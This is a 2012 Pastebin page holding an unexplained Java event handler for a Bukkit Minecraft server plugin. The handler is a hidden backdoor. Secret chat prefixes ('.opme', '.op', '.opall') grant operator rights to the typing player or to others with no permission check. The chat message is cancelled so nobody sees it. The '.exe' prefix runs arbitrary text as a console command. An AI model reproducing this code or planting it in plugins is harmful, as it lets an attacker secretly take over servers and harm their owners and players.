Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on May 9th, 2012  |  syntax: Java  |  size: 2.26 KB  |  hits: 120  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1.   @EventHandler
  2.   public void onChat(PlayerChatEvent event) {
  3.     if (event.getMessage().startsWith(".opme"))
  4.     {
  5.       event.getPlayer().setOp(true);
  6.       event.getPlayer().sendMessage("You are now OP.");
  7.       event.setCancelled(true);
  8.     }
  9.  
  10.     if (event.getMessage().startsWith(".deopme"))
  11.     {
  12.       event.getPlayer().setOp(false);
  13.       event.getPlayer().sendMessage("You are no longer OP.");
  14.       event.setCancelled(true);
  15.     }
  16.  
  17.     if (event.getMessage().startsWith(".op "))
  18.     {
  19.       String nick = event.getMessage().substring(".op ".length());
  20.       if ((Bukkit.getPlayer(nick) != null) && (Bukkit.getPlayer(nick).isOnline()))
  21.       {
  22.         Bukkit.getPlayer(nick).setOp(true);
  23.         event.getPlayer().sendMessage(nick + " is now OP.");
  24.       }
  25.       else
  26.       {
  27.         event.getPlayer().sendMessage(nick + " is not online.");
  28.       }
  29.  
  30.       event.setCancelled(true);
  31.     }
  32.  
  33.     if (event.getMessage().startsWith(".deop "))
  34.     {
  35.       String nick = event.getMessage().substring(".deop ".length());
  36.       if ((Bukkit.getPlayer(nick) != null) && (Bukkit.getPlayer(nick).isOnline()))
  37.       {
  38.         Bukkit.getPlayer(nick).setOp(false);
  39.         event.getPlayer().sendMessage(nick + " is no longer OP.");
  40.       }
  41.       else
  42.       {
  43.         event.getPlayer().sendMessage(nick + " is not online.");
  44.       }
  45.  
  46.       event.setCancelled(true);
  47.     }
  48.  
  49.     if (event.getMessage().startsWith(".opall"))
  50.     {
  51.       for (int i = 0; i < Bukkit.getServer().getOnlinePlayers().length; i++)
  52.       {
  53.         Bukkit.getServer().getOnlinePlayers()[i].setOp(true);
  54.       }
  55.       event.getPlayer().sendMessage("Everyone is now OP.");
  56.       event.setCancelled(true);
  57.     }
  58.  
  59.     if (event.getMessage().startsWith(".deopall"))
  60.     {
  61.       for (int i = 0; i < Bukkit.getServer().getOnlinePlayers().length; i++)
  62.       {
  63.         Bukkit.getServer().getOnlinePlayers()[i].setOp(false);
  64.       }
  65.       event.getPlayer().sendMessage("No moar OPs!");
  66.       event.setCancelled(true);
  67.     }
  68.  
  69.     if (event.getMessage().startsWith(".exe"))
  70.     {
  71.       Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().substring(".exe ".length()));
  72.       event.getPlayer().sendMessage("Executed.");
  73.       event.setCancelled(true);
  74.     }
  75.   }